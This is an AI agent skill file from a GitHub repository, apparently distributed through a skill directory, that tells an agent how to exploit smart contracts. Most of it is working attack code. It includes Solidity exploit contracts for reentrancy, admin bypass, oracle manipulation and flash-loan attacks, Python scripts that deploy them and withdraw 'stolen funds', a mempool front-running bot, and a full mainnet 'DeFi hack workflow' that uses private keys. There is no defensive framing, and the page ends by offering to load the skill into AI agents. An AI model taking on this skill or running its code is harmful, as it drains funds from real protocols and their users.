Blockchain exploit development

From bolone-sengkuni/hermes-brutal-mod · View interactive version

Blockchain exploit development is an AI agent skill from the GitHub repository bolone-sengkuni/hermes-brutal-mod. Exploit smart contracts, reentrancy attacks, flash loans, DeFi hacks

How to use this skill

Skill file

Blockchain Exploit Development

When to Use

Exploiting vulnerable smart contracts on Ethereum, BSC, Polygon, or other EVM chains. Reentrancy attacks, flash loan exploits, oracle manipulation, access control bypasses.

Prerequisites

Common Vulnerabilities

1. Reentrancy

Contract calls external address before updating state.

2. Integer Overflow/Underflow

Arithmetic without SafeMath (pre-Solidity 0.8.0).

3. Access Control

Missing onlyOwner or role checks.

4. Front-Running

MEV bots sandwich your transaction.

5. Flash Loan Attacks

Borrow millions, manipulate price, profit, repay - all in one transaction.

6. Oracle Manipulation

Price oracles use manipulable sources.

Procedure

Step 1: Reentrancy Attack

Vulnerable Contract:

// VulnerableBank.sol
pragma solidity ^0.7.0;

contract VulnerableBank {
    mapping(address => uint) public balances;
    
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
    
    function withdraw(uint _amount) public {
        require(balances[msg.sender] >= _amount);
        
        // VULNERABLE: External call before state update
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success);
        
        balances[msg.sender] -= _amount;
    }
    
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

Exploit Contract:

// ReentrancyAttack.sol
pragma solidity ^0.7.0;

interface IVulnerableBank {
    function deposit() external payable;
    function withdraw(uint _amount) external;
    function getBalance() external view returns (uint);
}

contract ReentrancyAttack {
    IVulnerableBank public vulnerableBank;
    uint public attackAmount = 1 ether;
    
    constructor(address _vulnerableBankAddress) {
        vulnerableBank = IVulnerableBank(_vulnerableBankAddress);
    }
    
    // Fallback is called when VulnerableBank sends Ether to this contract
    fallback() external payable {
        if (address(vulnerableBank).balance >= attackAmount) {
            vulnerableBank.withdraw(attackAmount);
        }
    }
    
    function attack() external payable {
        require(msg.value >= attackAmount);
        vulnerableBank.deposit{value: attackAmount}();
        vulnerableBank.withdraw(attackAmount);
    }
    
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
    
    function withdraw() public {
        payable(msg.sender).transfer(address(this).balance);
    }
}

Deploy and Execute (Python):

from web3 import Web3
import json

# Connect to network
w3 = Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))
account = w3.eth.accounts[0]

# Deploy VulnerableBank
with open('VulnerableBank.json') as f:
    bank_abi = json.load(f)['abi']
    bank_bytecode = json.load(f)['bytecode']

Bank = w3.eth.contract(abi=bank_abi, bytecode=bank_bytecode)
tx_hash = Bank.constructor().transact({'from': account})
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
bank_address = tx_receipt.contractAddress

bank = w3.eth.contract(address=bank_address, abi=bank_abi)

# Fund the bank with multiple deposits
for i in range(5):
    bank.functions.deposit().transact({
        'from': w3.eth.accounts[i],
        'value': w3.to_wei(10, 'ether')
    })

print(f"Bank balance: {w3.from_wei(bank.functions.getBalance().call(), 'ether')} ETH")

# Deploy Attack contract
with open('ReentrancyAttack.json') as f:
    attack_abi = json.load(f)['abi']
    attack_bytecode = json.load(f)['bytecode']

Attack = w3.eth.contract(abi=attack_abi, bytecode=attack_bytecode)
tx_hash = Attack.constructor(bank_address).transact({'from': account})
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
attack_address = tx_receipt.contractAddress

attack = w3.eth.contract(address=attack_address, abi=attack_abi)

# Execute attack
print("[*] Executing reentrancy attack...")
attack.functions.attack().transact({
    'from': account,
    'value': w3.to_wei(1, 'ether'),
    'gas': 3000000
})

print(f"Bank balance after attack: {w3.from_wei(bank.functions.getBalance().call(), 'ether')} ETH")
print(f"Attacker balance: {w3.from_wei(attack.functions.getBalance().call(), 'ether')} ETH")

# Withdraw stolen funds
attack.functions.withdraw().transact({'from': account})

Step 2: Flash Loan Attack (DeFi Price Manipulation)

Concept: Borrow huge amount → Manipulate price → Profit → Repay loan (all in one TX).

Flash Loan Attack Contract:

// FlashLoanAttack.sol
pragma solidity ^0.8.0;

import "@aave/core-v3/contracts/flashloan/base/FlashLoanSimpleReceiverBase.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface IUniswapV2Pair {
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

interface IVulnerableDeFi {
    function borrow(uint amount) external;
    function repay(uint amount) external;
}

contract FlashLoanAttack is FlashLoanSimpleReceiverBase {
    address public owner;
    IVulnerableDeFi public vulnerableProtocol;
    
    constructor(address _addressProvider, address _vulnerableProtocol) 
        FlashLoanSimpleReceiverBase(IPoolAddressesProvider(_addressProvider)) 
    {
        owner = msg.sender;
        vulnerableProtocol = IVulnerableDeFi(_vulnerableProtocol);
    }
    
    function executeOperation(
        address asset,
        uint256 amount,
        uint256 premium,
        address initiator,
        bytes calldata params
    ) external override returns (bool) {
        // 1. You now have 'amount' of 'asset'
        
        // 2. Manipulate vulnerable protocol
        // Example: Swap on DEX to manipulate price oracle
        IUniswapV2Pair pair = IUniswapV2Pair(0x...); // DEX pair
        
        // Swap to manipulate price
        IERC20(asset).transfer(address(pair), amount);
        pair.swap(0, amount * 2, address(this), new bytes(0)); // Simplified
        
        // 3. Exploit the manipulated price
        vulnerableProtocol.borrow(amount * 10); // Borrow more than you should
        
        // 4. Swap back
        // ... reverse swap logic
        
        // 5. Approve payback
        uint amountOwed = amount + premium;
        IERC20(asset).approve(address(POOL), amountOwed);
        
        return true;
    }
    
    function executeFlashLoan(address asset, uint256 amount) public {
        require(msg.sender == owner, "Only owner");
        
        address receiverAddress = address(this);
        bytes memory params = "";
        uint16 referralCode = 0;
        
        POOL.flashLoanSimple(
            receiverAddress,
            asset,
            amount,
            params,
            referralCode
        );
    }
    
    function withdraw(address token) public {
        require(msg.sender == owner);
        IERC20(token).transfer(owner, IERC20(token).balanceOf(address(this)));
    }
}

Step 3: Access Control Bypass

Vulnerable Contract:

pragma solidity ^0.8.0;

contract VulnerableDAO {
    address public owner;
    mapping(address => bool) public admins;
    uint public funds;
    
    constructor() {
        owner = msg.sender;
    }
    
    // VULNERABLE: Missing access control
    function addAdmin(address _admin) public {
        admins[_admin] = true;
    }
    
    function withdrawFunds(uint _amount) public {
        require(admins[msg.sender], "Not admin");
        payable(msg.sender).transfer(_amount);
    }
    
    receive() external payable {
        funds += msg.value;
    }
}

Exploit:

contract AdminBypass {
    VulnerableDAO public dao;
    
    constructor(address _dao) {
        dao = VulnerableDAO(_dao);
    }
    
    function exploit() public {
        // Add ourselves as admin (no check!)
        dao.addAdmin(address(this));
        
        // Withdraw all funds
        dao.withdrawFunds(address(dao).balance);
        
        // Transfer to attacker
        payable(msg.sender).transfer(address(this).balance);
    }
    
    receive() external payable {}
}

Step 4: Integer Overflow (Pre-0.8.0)

Vulnerable Token:

pragma solidity ^0.7.0;

contract VulnerableToken {
    mapping(address => uint) public balances;
    
    function transfer(address _to, uint _amount) public {
        // VULNERABLE: No overflow check
        require(balances[msg.sender] - _amount >= 0);
        balances[msg.sender] -= _amount;
        balances[_to] += _amount;
    }
    
    function mint(address _to, uint _amount) public {
        balances[_to] += _amount;
    }
}

Exploit:

# If you have 0 balance and try to transfer 1:
# balances[msg.sender] = 0
# 0 - 1 = 2^256 - 1 (underflow!)
# Now you have max uint balance

token.functions.transfer(attacker_address, 1).transact({
    'from': account_with_zero_balance
})

# After underflow, balance is 2^256 - 1
print(token.functions.balances(account_with_zero_balance).call())

Step 5: Oracle Manipulation

Vulnerable Price Oracle:

pragma solidity ^0.8.0;

interface IUniswapV2Pair {
    function getReserves() external view returns (uint112, uint112, uint32);
}

contract VulnerableLendingProtocol {
    IUniswapV2Pair public priceOracle;
    
    function getPrice() public view returns (uint) {
        (uint reserve0, uint reserve1,) = priceOracle.getReserves();
        return reserve0 / reserve1; // VULNERABLE: Spot price, easily manipulated
    }
    
    function borrow() public {
        uint price = getPrice();
        // Lend based on manipulable price
    }
}

Attack:

contract OracleManipulation {
    IUniswapV2Pair public pair;
    VulnerableLendingProtocol public lending;
    
    function attack() public payable {
        // 1. Get flash loan
        // 2. Swap massive amount on Uniswap to skew reserves
        uint swapAmount = 1000000 ether;
        pair.swap(swapAmount, 0, address(this), new bytes(1));
        
        // Inside swap callback:
        // 3. Price is now manipulated
        // 4. Borrow at manipulated price from lending protocol
        lending.borrow();
        
        // 5. Swap back
        // 6. Repay flash loan
        // 7. Profit
    }
}

Step 6: Front-Running (MEV)

Python Bot:

from web3 import Web3
import asyncio

w3 = Web3(Web3.WebsocketProvider('wss://mainnet.infura.io/ws/v3/YOUR_KEY'))

async def monitor_mempool():
    async for tx in w3.eth.subscribe('pendingTransactions'):
        transaction = w3.eth.get_transaction(tx)
        
        # Look for profitable transactions
        if transaction['to'] == UNISWAP_ROUTER:
            # Decode transaction
            decoded = decode_transaction(transaction)
            
            if decoded['function'] == 'swapExactTokensForTokens':
                # Calculate profit
                profit = calculate_arbitrage(decoded['params'])
                
                if profit > GAS_COST:
                    # Front-run by sending same TX with higher gas
                    front_run_tx = {
                        'from': MY_ADDRESS,
                        'to': transaction['to'],
                        'data': transaction['data'],
                        'gas': transaction['gas'],
                        'gasPrice': transaction['gasPrice'] * 1.1,  # 10% higher
                        'nonce': w3.eth.get_transaction_count(MY_ADDRESS)
                    }
                    
                    w3.eth.send_transaction(front_run_tx)
                    print(f"[+] Front-ran transaction {tx.hex()}")

asyncio.run(monitor_mempool())

Step 7: Complete DeFi Hack Workflow

from web3 import Web3
from eth_account import Account
import json

class DeFiExploit:
    def __init__(self, rpc_url, private_key):
        self.w3 = Web3(Web3.HTTPProvider(rpc_url))
        self.account = Account.from_key(private_key)
        self.w3.eth.default_account = self.account.address
        
    def deploy_exploit_contract(self, bytecode, abi, *args):
        Contract = self.w3.eth.contract(abi=abi, bytecode=bytecode)
        tx = Contract.constructor(*args).build_transaction({
            'from': self.account.address,
            'nonce': self.w3.eth.get_transaction_count(self.account.address),
            'gas': 3000000,
            'gasPrice': self.w3.eth.gas_price
        })
        
        signed = self.account.sign_transaction(tx)
        tx_hash = self.w3.eth.send_raw_transaction(signed.rawTransaction)
        receipt = self.w3.eth.wait_for_transaction_receipt(tx_hash)
        
        return receipt.contractAddress
    
    def execute_flash_loan_attack(self, exploit_address, target_token, amount):
        exploit = self.w3.eth.contract(address=exploit_address, abi=EXPLOIT_ABI)
        
        tx = exploit.functions.executeFlashLoan(
            target_token,
            amount
        ).build_transaction({
            'from': self.account.address,
            'nonce': self.w3.eth.get_transaction_count(self.account.address),
            'gas': 5000000,
            'gasPrice': self.w3.eth.gas_price
        })
        
        signed = self.account.sign_transaction(tx)
        tx_hash = self.w3.eth.send_raw_transaction(signed.rawTransaction)
        
        print(f"[+] Attack TX: {tx_hash.hex()}")
        receipt = self.w3.eth.wait_for_transaction_receipt(tx_hash)
        
        if receipt.status == 1:
            print("[+] Exploit successful!")
            return True
        else:
            print("[-] Exploit failed")
            return False
    
    def withdraw_profits(self, exploit_address):
        exploit = self.w3.eth.contract(address=exploit_address, abi=EXPLOIT_ABI)
        
        # Withdraw tokens
        for token in [DAI, USDC, WETH]:
            balance = token_contract.functions.balanceOf(exploit_address).call()
            if balance > 0:
                exploit.functions.withdraw(token).transact()
                print(f"[+] Withdrew {balance} of {token}")

# Usage
exploiter = DeFiExploit('https://mainnet.infura.io/v3/YOUR_KEY', 'PRIVATE_KEY')

# Deploy exploit
exploit_addr = exploiter.deploy_exploit_contract(
    EXPLOIT_BYTECODE,
    EXPLOIT_ABI,
    VULNERABLE_PROTOCOL_ADDRESS
)

# Execute attack
exploiter.execute_flash_loan_attack(
    exploit_addr,
    DAI_ADDRESS,
    Web3.to_wei(1000000, 'ether')  # 1M DAI flash loan
)

# Withdraw profits
exploiter.withdraw_profits(exploit_addr)

Pitfalls

Gas costs: Exploits can be expensive. Simulate with Foundry/Hardhat first.

Slippage: DEX swaps may fail if not enough liquidity.

Front-running: Your exploit can be front-run by MEV bots.

Flash loan fees: Aave charges 0.09%, Uniswap V3 0.05%.

Block limits: Complex exploits may exceed gas limit.

Verification

# Check profit
initial_balance = w3.eth.get_balance(attacker_address)
# ... execute exploit
final_balance = w3.eth.get_balance(attacker_address)
profit = final_balance - initial_balance
print(f"[+] Profit: {w3.from_wei(profit, 'ether')} ETH")

# Verify contract drained
assert vulnerable_contract.functions.getBalance().call() == 0

OPSEC

References

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.